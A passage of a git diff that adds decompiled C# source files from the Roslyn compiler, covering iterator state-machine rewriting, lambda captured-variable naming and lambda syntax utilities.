node.PreferFaultHandler); + _tryNestingLevel--; + return result; + } + IteratorFinallyFrame iteratorFinallyFrame = PushFrame(node); + _tryNestingLevel++; + BoundStatement boundStatement = (BoundStatement)Visit(node.TryBlock); + IteratorFinallyMethodSymbol handler = iteratorFinallyFrame.handler; + MethodSymbol currentFunction = F.CurrentFunction; + F.CurrentFunction = handler; + BoundStatement boundStatement2 = (BoundStatement)Visit(node.FinallyBlockOpt); + _tryNestingLevel--; + PopFrame(); + boundStatement2 = F.Block(((object)cachedThis != null) ? ImmutableArray.Create(cachedThis) : ImmutableArray.Empty, F.Assignment(F.Field(F.This(), stateField), F.Literal(iteratorFinallyFrame.parent.finalizeState)), CacheThisIfNeeded(), boundStatement2, F.Return()); + F.CloseMethod(boundStatement2); + F.CurrentFunction = currentFunction; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add((BoundStatement)F.Assignment(F.Field(F.This(), stateField), F.Literal(iteratorFinallyFrame.finalizeState))); + instance.Add(boundStatement); + instance.Add((BoundStatement)F.ExpressionStatement(F.Call(F.This(), handler))); + if (iteratorFinallyFrame.proxyLabels != null) + { + GeneratedLabelSymbol label = F.GenerateLabel("dropThrough"); + instance.Add((BoundStatement)F.Goto(label)); + IteratorFinallyFrame parent = iteratorFinallyFrame.parent; + foreach (KeyValuePair proxyLabel in iteratorFinallyFrame.proxyLabels) + { + LabelSymbol value = proxyLabel.Value; + LabelSymbol key = proxyLabel.Key; + instance.Add((BoundStatement)F.Label(value)); + instance.Add((BoundStatement)F.ExpressionStatement(F.Call(F.This(), handler))); + LabelSymbol label2 = parent.ProxyLabelIfNeeded(key); + instance.Add((BoundStatement)F.Goto(label2)); + } + instance.Add((BoundStatement)F.Label(label)); + } + return F.Block(instance.ToImmutableAndFree()); + } + + private IteratorFinallyFrame PushFrame(BoundTryStatement statement) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode syntax = statement.Syntax; + VariableSlotAllocator? obj = slotAllocatorOpt; + StateMachineState val = default(StateMachineState); + if (obj == null || !obj.TryGetPreviousStateMachineState(syntax, default(AwaitDebugId), ref val)) + { + StateMachineState nextFinalizeState = _nextFinalizeState; + _nextFinalizeState = (StateMachineState)(nextFinalizeState - 1); + val = nextFinalizeState; + } + AddStateDebugInfo(syntax, default(AwaitDebugId), val); + IteratorFinallyMethodSymbol handler = MakeSynthesizedFinally(val); + IteratorFinallyFrame iteratorFinallyFrame = new IteratorFinallyFrame(_currentFinallyFrame, val, handler, _yieldsInTryAnalysis.Labels(statement)); + iteratorFinallyFrame.AddState(val); + _currentFinallyFrame = iteratorFinallyFrame; + return iteratorFinallyFrame; + } + + private void PopFrame() + { + IteratorFinallyFrame currentFinallyFrame = _currentFinallyFrame; + _currentFinallyFrame = currentFinallyFrame.parent; + } + + private bool ContainsYields(BoundTryStatement statement) + { + return _yieldsInTryAnalysis.ContainsYields(statement); + } + + private IteratorFinallyMethodSymbol MakeSynthesizedFinally(StateMachineState finalizeState) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + IteratorStateMachine iteratorStateMachine = (IteratorStateMachine)F.CurrentType; + IteratorFinallyMethodSymbol iteratorFinallyMethodSymbol = new IteratorFinallyMethodSymbol(iteratorStateMachine, GeneratedNames.MakeIteratorFinallyMethodName(finalizeState)); + ((PEModuleBuilder)F.ModuleBuilderOpt).AddSynthesizedDefinition((NamedTypeSymbol)iteratorStateMachine, (IMethodDefinition)(object)iteratorFinallyMethodSymbol.GetCciAdapter()); + return iteratorFinallyMethodSymbol; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorRewriter.cs new file mode 100644 index 0000000..61e7ad1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorRewriter.cs @@ -0,0 +1,237 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class IteratorRewriter : StateMachineRewriter +{ + private readonly TypeWithAnnotations _elementType; + + private readonly bool _isEnumerable; + + private FieldSymbol _currentField; + + protected override bool PreserveInitialParameterValuesAndThreadId => _isEnumerable; + + private IteratorRewriter(BoundStatement body, MethodSymbol method, bool isEnumerable, IteratorStateMachine stateMachineType, ArrayBuilder stateMachineStateDebugInfoBuilder, VariableSlotAllocator slotAllocatorOpt, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + : base(body, method, stateMachineType, stateMachineStateDebugInfoBuilder, slotAllocatorOpt, compilationState, diagnostics) + { + _elementType = stateMachineType.ElementType; + _isEnumerable = isEnumerable; + } + + internal static BoundStatement Rewrite(BoundStatement body, MethodSymbol method, int methodOrdinal, ArrayBuilder stateMachineStateDebugInfoBuilder, VariableSlotAllocator slotAllocatorOpt, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics, out IteratorStateMachine stateMachineType) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Invalid comparison between Unknown and I4 + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Invalid comparison between Unknown and I4 + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + TypeWithAnnotations iteratorElementTypeWithAnnotations = method.IteratorElementTypeWithAnnotations; + if (iteratorElementTypeWithAnnotations.IsDefault || method.IsAsync) + { + stateMachineType = null; + return body; + } + SpecialType specialType = method.ReturnType.OriginalDefinition.SpecialType; + bool isEnumerable; + if (specialType - 24 > 1) + { + if (specialType - 28 > 1) + { + throw ExceptionUtilities.UnexpectedValue((object)method.ReturnType.OriginalDefinition.SpecialType); + } + isEnumerable = false; + } + else + { + isEnumerable = true; + } + stateMachineType = new IteratorStateMachine(slotAllocatorOpt, compilationState, method, methodOrdinal, isEnumerable, iteratorElementTypeWithAnnotations); + ((ModuleCompilationState)((PEModuleBuilder)compilationState.ModuleBuilderOpt).CompilationState).SetStateMachineType(method, (NamedTypeSymbol)stateMachineType); + IteratorRewriter iteratorRewriter = new IteratorRewriter(body, method, isEnumerable, stateMachineType, stateMachineStateDebugInfoBuilder, slotAllocatorOpt, compilationState, diagnostics); + if (!iteratorRewriter.VerifyPresenceOfRequiredAPIs()) + { + return body; + } + return iteratorRewriter.Rewrite(); + } + + protected bool VerifyPresenceOfRequiredAPIs() + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + EnsureSpecialType((SpecialType)13, instance); + EnsureSpecialType((SpecialType)35, instance); + EnsureSpecialMember((SpecialMember)92, instance); + EnsureSpecialType((SpecialType)28, instance); + EnsureSpecialPropertyGetter((SpecialMember)85, instance); + EnsureSpecialMember((SpecialMember)87, instance); + EnsureSpecialMember((SpecialMember)88, instance); + EnsureSpecialType((SpecialType)29, instance); + EnsureSpecialPropertyGetter((SpecialMember)90, instance); + if (_isEnumerable) + { + EnsureSpecialType((SpecialType)24, instance); + EnsureSpecialMember((SpecialMember)84, instance); + EnsureSpecialType((SpecialType)25, instance); + EnsureSpecialMember((SpecialMember)89, instance); + } + bool num = ((BindingDiagnosticBag)instance).HasAnyErrors(); + if (!num) + { + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies((BindingDiagnosticBag)(object)instance, false); + } + else + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + } + ((BindingDiagnosticBag)(object)instance).Free(); + return !num; + } + + private Symbol EnsureSpecialMember(SpecialMember member, BindingDiagnosticBag bag) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + Binder.TryGetSpecialTypeMember(F.Compilation, member, body.Syntax, bag, out var symbol); + return symbol; + } + + private void EnsureSpecialType(SpecialType type, BindingDiagnosticBag bag) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + Binder.GetSpecialType(F.Compilation, type, body.Syntax, bag); + } + + private void EnsureSpecialPropertyGetter(SpecialMember member, BindingDiagnosticBag bag) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + PropertySymbol propertySymbol = (PropertySymbol)EnsureSpecialMember(member, bag); + if ((object)propertySymbol != null) + { + MethodSymbol getMethod = propertySymbol.GetMethod; + if ((object)getMethod == null) + { + Binder.Error(bag, ErrorCode.ERR_PropertyLacksGet, SyntaxNodeOrToken.op_Implicit(body.Syntax), propertySymbol); + } + else + { + bag.ReportUseSite(getMethod, body.Syntax.Location); + } + } + } + + protected override void GenerateControlFields() + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + stateField = F.StateMachineField(F.SpecialType((SpecialType)13), GeneratedNames.MakeStateMachineStateFieldName()); + MethodInstrumentation methodBodyInstrumentations = F.ModuleBuilderOpt.GetMethodBodyInstrumentations(method); + if (((MethodInstrumentation)(ref methodBodyInstrumentations)).Kinds.Contains((InstrumentationKind)(-1))) + { + instanceIdField = F.StateMachineField(F.SpecialType((SpecialType)16), GeneratedNames.MakeStateMachineStateIdFieldName()); + } + _currentField = F.StateMachineField(_elementType, GeneratedNames.MakeIteratorCurrentFieldName()); + } + + protected override void GenerateMethodImplementations() + { + try + { + BoundExpression managedThreadId = null; + GenerateEnumeratorImplementation(); + if (_isEnumerable) + { + GenerateEnumerableImplementation(ref managedThreadId); + } + GenerateConstructor(managedThreadId); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + } + } + + private void GenerateEnumeratorImplementation() + { + MethodSymbol methodToImplement = F.SpecialMethod((SpecialMember)92); + MethodSymbol methodToImplement2 = F.SpecialMethod((SpecialMember)87); + MethodSymbol methodToImplement3 = F.SpecialMethod((SpecialMember)88); + MethodSymbol getMethod = F.SpecialProperty((SpecialMember)85).GetMethod; + NamedTypeSymbol newOwner = F.SpecialType((SpecialType)29).Construct(ImmutableArray.Create(_elementType)); + MethodSymbol getterToImplement = F.SpecialProperty((SpecialMember)90).GetMethod.AsMember(newOwner); + SynthesizedImplementationMethod disposeMethod = OpenMethodImplementation(methodToImplement, null, hasMethodBodyDependency: true); + SynthesizedImplementationMethod moveNextMethod = OpenMoveNextMethodImplementation(methodToImplement2); + GenerateMoveNextAndDispose(moveNextMethod, disposeMethod); + OpenPropertyImplementation(getterToImplement); + F.CloseMethod(F.Return(F.Field(F.This(), _currentField))); + OpenMethodImplementation(methodToImplement3); + F.CloseMethod(F.Throw(F.New(F.WellKnownType((WellKnownType)240)))); + OpenPropertyImplementation(getMethod); + F.CloseMethod(F.Return(F.Field(F.This(), _currentField))); + } + + private void GenerateEnumerableImplementation(ref BoundExpression managedThreadId) + { + MethodSymbol methodToImplement = F.SpecialMethod((SpecialMember)84); + NamedTypeSymbol newOwner = F.SpecialType((SpecialType)25).Construct(_elementType.Type); + MethodSymbol getEnumeratorMethod = F.SpecialMethod((SpecialMember)89).AsMember(newOwner); + SynthesizedImplementationMethod synthesizedImplementationMethod = GenerateIteratorGetEnumerator(getEnumeratorMethod, ref managedThreadId, (StateMachineState)0); + OpenMethodImplementation(methodToImplement); + F.CloseMethod(F.Return(F.Call(F.This(), synthesizedImplementationMethod))); + } + + private void GenerateConstructor(BoundExpression managedThreadId) + { + F.CurrentFunction = stateMachineType.Constructor; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add(F.BaseInitialization()); + instance.Add((BoundStatement)F.Assignment(F.Field(F.This(), stateField), F.Parameter(F.CurrentFunction.Parameters[0]))); + if (managedThreadId != null) + { + instance.Add((BoundStatement)F.Assignment(F.Field(F.This(), initialThreadIdField), managedThreadId)); + } + if ((object)instanceIdField != null) + { + MethodSymbol methodSymbol = F.WellKnownMethod((WellKnownMember)361); + if ((object)methodSymbol != null) + { + instance.Add((BoundStatement)F.Assignment(F.InstanceField(instanceIdField), F.Call(null, methodSymbol))); + } + } + instance.Add((BoundStatement)F.Return()); + F.CloseMethod(F.Block(instance.ToImmutableAndFree())); + instance = null; + } + + protected override void InitializeStateMachine(ArrayBuilder bodyBuilder, NamedTypeSymbol frameType, LocalSymbol stateMachineLocal) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + StateMachineState value = (StateMachineState)(_isEnumerable ? (-2) : 0); + bodyBuilder.Add((BoundStatement)F.Assignment(F.Local(stateMachineLocal), F.New(stateMachineType.Constructor.AsMember(frameType), F.Literal(value)))); + } + + protected override BoundStatement GenerateStateMachineCreation(LocalSymbol stateMachineVariable, NamedTypeSymbol frameType, IReadOnlyDictionary proxies) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add(GenerateParameterStorage(stateMachineVariable, proxies)); + instance.Add((BoundStatement)F.Return(F.Local(stateMachineVariable))); + return F.Block(instance.ToImmutableAndFree()); + } + + private void GenerateMoveNextAndDispose(SynthesizedImplementationMethod moveNextMethod, SynthesizedImplementationMethod disposeMethod) + { + new IteratorMethodToStateMachineRewriter(F, method, stateField, _currentField, instanceIdField, (IReadOnlySet)(object)hoistedVariables, nonReusableLocalProxies, synthesizedLocalOrdinals, stateMachineStateDebugInfoBuilder, slotAllocatorOpt, nextFreeHoistedLocalSlot, diagnostics).GenerateMoveNextAndDispose(body, moveNextMethod, disposeMethod); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorStateMachine.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorStateMachine.cs new file mode 100644 index 0000000..9f10aeb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorStateMachine.cs @@ -0,0 +1,53 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class IteratorStateMachine : StateMachineTypeSymbol +{ + private readonly MethodSymbol _constructor; + + private readonly ImmutableArray _interfaces; + + internal readonly TypeWithAnnotations ElementType; + + public override TypeKind TypeKind => (TypeKind)2; + + internal override MethodSymbol Constructor => _constructor; + + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics => ContainingAssembly.GetSpecialType((SpecialType)1); + + internal override bool IsRecord => false; + + internal override bool IsRecordStruct => false; + + public IteratorStateMachine(VariableSlotAllocator slotAllocatorOpt, TypeCompilationState compilationState, MethodSymbol iteratorMethod, int iteratorMethodOrdinal, bool isEnumerable, TypeWithAnnotations elementType) + : base(slotAllocatorOpt, compilationState, iteratorMethod, iteratorMethodOrdinal) + { + ElementType = base.TypeMap.SubstituteType(elementType); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (isEnumerable) + { + instance.Add(ContainingAssembly.GetSpecialType((SpecialType)25).Construct(ElementType.Type)); + instance.Add(ContainingAssembly.GetSpecialType((SpecialType)24)); + } + instance.Add(ContainingAssembly.GetSpecialType((SpecialType)29).Construct(ElementType.Type)); + instance.Add(ContainingAssembly.GetSpecialType((SpecialType)35)); + instance.Add(ContainingAssembly.GetSpecialType((SpecialType)28)); + _interfaces = instance.ToImmutableAndFree(); + _constructor = new IteratorConstructor(this); + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList basesBeingResolved) + { + return _interfaces; + } + + internal override bool HasPossibleWellKnownCloneMethod() + { + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LabelCollector.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LabelCollector.cs new file mode 100644 index 0000000..94a8f22 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LabelCollector.cs @@ -0,0 +1,28 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class LabelCollector : BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator +{ + protected HashSet currentLabels; + + public override BoundNode VisitLabelStatement(BoundLabelStatement node) + { + CollectLabel(node.Label); + return base.VisitLabelStatement(node); + } + + private void CollectLabel(LabelSymbol label) + { + if ((object)label != null) + { + HashSet hashSet = currentLabels; + if (hashSet == null) + { + hashSet = (currentLabels = new HashSet()); + } + hashSet.Add(label); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LambdaBindingData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LambdaBindingData.cs new file mode 100644 index 0000000..c275432 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LambdaBindingData.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LambdaBindingData +{ + internal int LambdaBindingCount; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LambdaCapturedVariable.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LambdaCapturedVariable.cs new file mode 100644 index 0000000..c8b2460 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LambdaCapturedVariable.cs @@ -0,0 +1,111 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LambdaCapturedVariable : SynthesizedFieldSymbolBase +{ + private readonly TypeWithAnnotations _type; + + private readonly bool _isThis; + + public override RefKind RefKind => (RefKind)0; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + internal override bool IsCapturedFrame => _isThis; + + internal override bool SuppressDynamicAttribute => false; + + private LambdaCapturedVariable(SynthesizedContainer frame, TypeWithAnnotations type, string fieldName, bool isThisParameter) + : base(frame, fieldName, isPublic: true, isReadOnly: false, isStatic: false) + { + _type = type; + _isThis = isThisParameter; + } + + public static LambdaCapturedVariable Create(SynthesizedClosureEnvironment frame, Symbol captured, ref int uniqueId) + { + string capturedVariableFieldName = GetCapturedVariableFieldName(captured, ref uniqueId); + TypeSymbol capturedVariableFieldType = GetCapturedVariableFieldType(frame, captured); + return new LambdaCapturedVariable(frame, TypeWithAnnotations.Create(capturedVariableFieldType), capturedVariableFieldName, IsThis(captured)); + } + + private static bool IsThis(Symbol captured) + { + if (captured is ParameterSymbol parameterSymbol) + { + return parameterSymbol.IsThis; + } + return false; + } + + private static string GetCapturedVariableFieldName(Symbol variable, ref int uniqueId) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Invalid comparison between Unknown and I4 + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Invalid comparison between Unknown and I4 + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + if (IsThis(variable)) + { + return GeneratedNames.ThisProxyFieldName(); + } + if (variable is LocalSymbol localSymbol) + { + if ((int)localSymbol.SynthesizedKind == 30) + { + return GeneratedNames.MakeLambdaDisplayLocalName(uniqueId++); + } + if ((int)localSymbol.SynthesizedKind == 26) + { + return GeneratedNames.MakeHoistedLocalFieldName(localSymbol.SynthesizedKind, uniqueId++); + } + if ((int)localSymbol.SynthesizedKind == 34) + { + return GeneratedNames.MakeSynthesizedInstrumentationPayloadLocalFieldName(uniqueId++); + } + if ((int)localSymbol.SynthesizedKind == 0) + { + SyntaxNode scopeDesignatorOpt = localSymbol.ScopeDesignatorOpt; + if (scopeDesignatorOpt == null || scopeDesignatorOpt.Kind() != SyntaxKind.SwitchSection) + { + SyntaxNode scopeDesignatorOpt2 = localSymbol.ScopeDesignatorOpt; + if (scopeDesignatorOpt2 == null || scopeDesignatorOpt2.Kind() != SyntaxKind.SwitchExpressionArm) + { + goto IL_00c6; + } + } + return GeneratedNames.MakeHoistedLocalFieldName(localSymbol.SynthesizedKind, uniqueId++, localSymbol.Name); + } + } + goto IL_00c6; + IL_00c6: + return variable.Name; + } + + private static TypeSymbol GetCapturedVariableFieldType(SynthesizedContainer frame, Symbol variable) + { + LocalSymbol localSymbol = variable as LocalSymbol; + if ((object)localSymbol != null && localSymbol.Type.OriginalDefinition is SynthesizedClosureEnvironment synthesizedClosureEnvironment) + { + ImmutableArray immutableArray = frame.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + if (immutableArray.Length > synthesizedClosureEnvironment.Arity) + { + immutableArray = ImmutableArray.Create(immutableArray, 0, synthesizedClosureEnvironment.Arity); + } + return synthesizedClosureEnvironment.ConstructIfGeneric(immutableArray); + } + return frame.TypeMap.SubstituteType((localSymbol?.TypeWithAnnotations ?? ((ParameterSymbol)variable).TypeWithAnnotations).Type).Type; + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + return _type; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LambdaConversionResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LambdaConversionResult.cs new file mode 100644 index 0000000..4e7b8d4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LambdaConversionResult.cs @@ -0,0 +1,16 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum LambdaConversionResult +{ + Success, + BadTargetType, + BadParameterCount, + MissingSignatureWithOutParameter, + MismatchedReturnType, + MismatchedParameterType, + RefInImplicitlyTypedLambda, + StaticTypeInImplicitlyTypedLambda, + ExpressionTreeMustHaveDelegateTypeArgument, + ExpressionTreeFromAnonymousMethod, + BindingFailed +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LambdaUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LambdaUtilities.cs new file mode 100644 index 0000000..8ba4ef9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LambdaUtilities.cs @@ -0,0 +1,443 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class LambdaUtilities +{ + public static bool IsLambda(SyntaxNode node) + { + switch (node.Kind()) + { + case SyntaxKind.AnonymousMethodExpression: + case SyntaxKind.SimpleLambdaExpression: + case SyntaxKind.ParenthesizedLambdaExpression: + case SyntaxKind.LetClause: + case SyntaxKind.JoinClause: + case SyntaxKind.WhereClause: + case SyntaxKind.AscendingOrdering: + case SyntaxKind.DescendingOrdering: + case SyntaxKind.GroupClause: + case SyntaxKind.LocalFunctionStatement: + return true; + case SyntaxKind.SelectClause: + { + SelectClauseSyntax selectClauseSyntax = (SelectClauseSyntax)(object)node; + return !IsReducedSelectOrGroupByClause(selectClauseSyntax, selectClauseSyntax.Expression); + } + case SyntaxKind.FromClause: + return !node.Parent.IsKind(SyntaxKind.QueryExpression); + default: + return false; + } + } + + public static bool IsNotLambda(SyntaxNode node) + { + return !IsLambda(node); + } + + public static SyntaxNode GetLambda(SyntaxNode lambdaBody) + { + SyntaxNode parent = lambdaBody.Parent; + if (parent.IsKind(SyntaxKind.ArrowExpressionClause)) + { + parent = parent.Parent; + } + return parent; + } + + internal static SyntaxNode? TryGetCorrespondingLambdaBody(SyntaxNode oldBody, SyntaxNode newLambda) + { + switch (newLambda.Kind()) + { + case SyntaxKind.AnonymousMethodExpression: + case SyntaxKind.SimpleLambdaExpression: + case SyntaxKind.ParenthesizedLambdaExpression: + return (SyntaxNode?)(object)((AnonymousFunctionExpressionSyntax)(object)newLambda).Body; + case SyntaxKind.FromClause: + return (SyntaxNode?)(object)((FromClauseSyntax)(object)newLambda).Expression; + case SyntaxKind.LetClause: + return (SyntaxNode?)(object)((LetClauseSyntax)(object)newLambda).Expression; + case SyntaxKind.WhereClause: + return (SyntaxNode?)(object)((WhereClauseSyntax)(object)newLambda).Condition; + case SyntaxKind.AscendingOrdering: + case SyntaxKind.DescendingOrdering: + return (SyntaxNode?)(object)((OrderingSyntax)(object)newLambda).Expression; + case SyntaxKind.SelectClause: + { + SelectClauseSyntax selectClauseSyntax = (SelectClauseSyntax)(object)newLambda; + if (!IsReducedSelectOrGroupByClause(selectClauseSyntax, selectClauseSyntax.Expression)) + { + return (SyntaxNode?)(object)selectClauseSyntax.Expression; + } + return null; + } + case SyntaxKind.JoinClause: + { + JoinClauseSyntax obj2 = (JoinClauseSyntax)(object)oldBody.Parent; + JoinClauseSyntax joinClauseSyntax = (JoinClauseSyntax)(object)newLambda; + if ((object)obj2.LeftExpression != oldBody) + { + return (SyntaxNode?)(object)joinClauseSyntax.RightExpression; + } + return (SyntaxNode?)(object)joinClauseSyntax.LeftExpression; + } + case SyntaxKind.GroupClause: + { + GroupClauseSyntax obj = (GroupClauseSyntax)(object)oldBody.Parent; + GroupClauseSyntax groupClauseSyntax = (GroupClauseSyntax)(object)newLambda; + if ((object)obj.GroupExpression != oldBody) + { + return (SyntaxNode?)(object)groupClauseSyntax.ByExpression; + } + if (!IsReducedSelectOrGroupByClause(groupClauseSyntax, groupClauseSyntax.GroupExpression)) + { + return (SyntaxNode?)(object)groupClauseSyntax.GroupExpression; + } + return null; + } + case SyntaxKind.LocalFunctionStatement: + return GetLocalFunctionBody((LocalFunctionStatementSyntax)(object)newLambda); + default: + throw ExceptionUtilities.UnexpectedValue((object)newLambda.Kind()); + } + } + + public static SyntaxNode GetNestedFunctionBody(SyntaxNode nestedFunction) + { + if (!(nestedFunction is AnonymousFunctionExpressionSyntax anonymousFunctionExpressionSyntax)) + { + if (nestedFunction is LocalFunctionStatementSyntax localFunctionStatementSyntax) + { + return (SyntaxNode)(((object)localFunctionStatementSyntax.Body) ?? ((object)localFunctionStatementSyntax.ExpressionBody.Expression)); + } + throw ExceptionUtilities.UnexpectedValue((object)nestedFunction); + } + return (SyntaxNode)(object)anonymousFunctionExpressionSyntax.Body; + } + + public static bool IsNotLambdaBody(SyntaxNode node) + { + return !IsLambdaBody(node); + } + + public static bool IsLambdaBody(SyntaxNode node, bool allowReducedLambdas = false) + { + SyntaxNode val = ((node != null) ? node.Parent : null); + if (val == null) + { + return false; + } + switch (val.Kind()) + { + case SyntaxKind.AnonymousMethodExpression: + case SyntaxKind.SimpleLambdaExpression: + case SyntaxKind.ParenthesizedLambdaExpression: + return (object)((AnonymousFunctionExpressionSyntax)(object)val).Body == node; + case SyntaxKind.LocalFunctionStatement: + return (object)((LocalFunctionStatementSyntax)(object)val).Body == node; + case SyntaxKind.ArrowExpressionClause: + { + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = (ArrowExpressionClauseSyntax)(object)val; + if ((object)arrowExpressionClauseSyntax.Expression == node) + { + return arrowExpressionClauseSyntax.Parent is LocalFunctionStatementSyntax; + } + return false; + } + case SyntaxKind.FromClause: + { + FromClauseSyntax fromClauseSyntax = (FromClauseSyntax)(object)val; + if ((object)fromClauseSyntax.Expression == node) + { + return fromClauseSyntax.Parent is QueryBodySyntax; + } + return false; + } + case SyntaxKind.JoinClause: + { + JoinClauseSyntax joinClauseSyntax = (JoinClauseSyntax)(object)val; + if ((object)joinClauseSyntax.LeftExpression != node) + { + return (object)joinClauseSyntax.RightExpression == node; + } + return true; + } + case SyntaxKind.LetClause: + return (object)((LetClauseSyntax)(object)val).Expression == node; + case SyntaxKind.WhereClause: + return (object)((WhereClauseSyntax)(object)val).Condition == node; + case SyntaxKind.AscendingOrdering: + case 